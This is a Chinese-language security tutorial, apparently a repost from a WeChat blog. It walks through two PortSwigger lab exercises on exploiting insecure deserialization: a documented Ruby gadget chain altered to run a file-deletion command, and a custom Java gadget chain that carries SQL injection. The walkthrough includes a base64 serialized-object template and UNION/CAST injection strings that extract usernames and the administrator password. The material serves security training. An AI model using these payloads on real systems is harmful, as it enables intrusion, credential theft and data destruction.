在本节中,将用PHP、Ruby和Java反序列化的例子指导如何利用一些常见的情况,从而证明利用不安全的反序列化实际上比许多人认为的要容易很多。
如果能使用预先建立的小工具链,在黑盒测试中甚至可以做到这一点。
虽然许多试验和例子都是基于PHP的,但大多数利用技术对其他语言也同样有效。
使用记录的小工具链工作
在把目标应用系统使用的框架中,可能并不总是有一个专用工具可用于开发已知的小工具链。在这种情况下,可以在网上查看是否有任何记录在案的可利用之处。
修改代码可能需要对语言和框架有一些基本的了解,有时可能需要自己序列化对象,但这种方法仍然比从头开始构建漏洞工作量要少得多。
场景试验-使用文档中的小工具链来利用Ruby反序列化:
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-ruby-deserialization-using-a-documented-gadget-chain
场景说明:
这个试验场景使用了基于序列化的会话机制和Ruby on Rails框架。在这个框架中,有记录在案的漏洞可以通过小工具链实现远程代码执行。
试验目的:
要完成这个试验,需要找到一个有文档记录的漏洞,并将其改写为创建一个包含远程代码执行的恶意payload序列化对象。然后将该对象传递到网站上从而删除carlos主目录中的moral.txt文件。
试验提供了一个可登录的账号wiener:peter
攻击过程:
①登录wiener这个账户,可以注意到会话cookie包含一个序列化的Ruby对象,把这个请求发送到Repeater
②随后通过下面的网站找到Ruby 2.x-3.x版本的反序列化漏洞,并将EXP脚本复制出来
https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
③接下来对这段脚本做下改造,第一行增加"require "base64"",另外把下面的"id"改成"rm /home/carlos/morale.txt",把最后两行修改成"puts Base64.encode64(payload)"
④执行下脚本,将返回的编码数据复制到Decoder
⑤在Decoder中进行URL编码,并将编码后的数据替换到原来cookie,发送请求后即可完成试验
创建自己的漏洞
当现成的小工具链和记录在案的攻击不成功时,就需要创建自己的漏洞了。
要成功构建自己的小工具链,几乎肯定要访问源代码。
第一步是研究源代码,以确定一个类,该类包含在反序列化期间调用的魔法方法。评估这个方法执行的代码,看看它是否直接使用用户可控的属性做了什么危险的事情。以防万一,这一点始终值得检查。
如果魔法方法本身不可利用,它可以作为一个小工具链的“启动小工具”。研究启动小工具调用的任何方法,这些会不会对你控制的数据做一些危险的事情?如果没有,仔细查看它们随后调用的每个方法,以此类推。
重复这个过程,跟踪可以访问的值,直到到达一个死胡同或是识别一个危险的接收器小工具,可以将可控的数据传递到该小工具中。
一旦解决了如何在应用程序代码中成功地构造小工具链,下一步就是创建一个包含payload的序列化对象。这只是一个研究源代码中的类声明并创建一个有效的序列化对象的例子,该对象具有攻击所需的适当值。正如我们在之前试验中所看到的,当使用基于字符串的序列化格式时,这项对比较简单。
使用二进制格式,例如在构造Java反序列化漏洞时,可能特别麻烦。当对现有对象进行微小更改时,可能喜欢直接使用字节。但是,当进行更重要的更改时,例如传入一个全新的对象,这就会变得不切实际了。为了自己生成和序列化数据,用目标语言编写自己的代码通常要简单得多。
当创建自己的小工具链时,要注意利用这个额外的攻击面来触发次要漏洞的机会。
场景试验-为Java反序列化开发一个自定义的小工具链:
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization
场景说明:
这个试验场景使用了基于序列化的会话机制,如果能够构建一个合适的小工具链,可以利用试验中不安全的反序列化来获取管理员的密码。
试验目的:
要完成这个试验,需要获得源代码的访问权,并使用它来构建一个小工具链以获得管理员的密码。然后以管理员对的身份登录,删除carlos的账户。
试验提供了一个可登录的账号wiener:peter
攻击过程:
①用账号登录后可以在"Stie map"中看到后续有调用"/backup/AccessTokenUser.java"
②通过请求这个java文件访问到源码,可以发现是处理token信息的类,直接再访问这个java文件的上一层目录backup,可以看到其中有个"ProductTemplate.java"的文件
③请求下这个文件,从源代码中可以看到里面有用"id"这个参数来对数据库进行查询
④根据所泄露的源代码,可以编写一个java程序,用任意ID实例化ProductTemplate,对其进行序列化,然后用base64进行编码替换cookie进行SQL注入攻击。
不过这里为了简便直接就使用BurpSuite的Hackvertor扩展模块(在BApp Store安装下即可),我们可以将原始序列化的对象粘贴到Repeater中,并添加标签,这些标签将自动更新偏移量并对对象进行Base64编码。
先将下面的模板复制粘贴到/my-account请求的cookie中,再用Base64进行解码:
PEBiYXNlNjRfND6s7QAFc3IAI2RhdGEucHJvZHVjdGNhdGFsb2cuUHJvZHVjdFRlbXBsYXRlAAAAAAAAAAECAAFMAAJpZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAA8QGZyb21fY2hhcmNvZGVfMz48QGdldF9sZW4gLz48QC9mcm9tX2NoYXJjb2RlXzM+WU9VUi1QQVlMT0FELUhFUkU8QHNldF9sZW4+PEBsZW5ndGhfMD5ZT1VSLVBBWUxPQUQtSEVSRTxAL2xlbmd0aF8wPjxAL3NldF9sZW4+PEAvYmFzZTY0XzQ+
⑤模板中有两处YOUR-PAYLOAD-HERE是用来替换放入SQL注入代码的,我们可以通过union联合查询来进行注入查询返回字段数量,通过报错结果可以看到这个查询返回8个字段
' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL --
⑥修改payload,查询表名,得到表名"users"
' union select NULL,NULL,NULL,NULL,NULL,NULL,CAST(table_name as numeric),NULL from information_schema.tables --
⑦修改payload,查询"users"表的列名,得到"username"的列名
' union select NULL,NULL,NULL,NULL,NULL,NULL,CAST(column_name as numeric),NULL from information_schema.columns where table_name='users' --
⑧修改payload,查询"users"表中"username"的内容,得到管理账户为"administartor"
' union select NULL,NULL,NULL,NULL,NULL,NULL,CAST(username as numeric),NULL from users --
⑨查询"administrator"的密码
' union select NULL,NULL,NULL,NULL,NULL,NULL,CAST(password as numeric),NULL from users where username='administrator'--
⑩用所得到的管理员账号和密码成功登录后进入管理员面板删除carlos账号即可完成试验
试验小结:
这里的SQL注入语句可以有各种不同的组合,根据需求自行调整即可。
SQL注入攻击-检索隐藏的数据
HTTP Host头漏洞攻击-概念梳理
原文始发于微信公众号(H君网安白话):不安全的反序列化-攻击示例(五)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论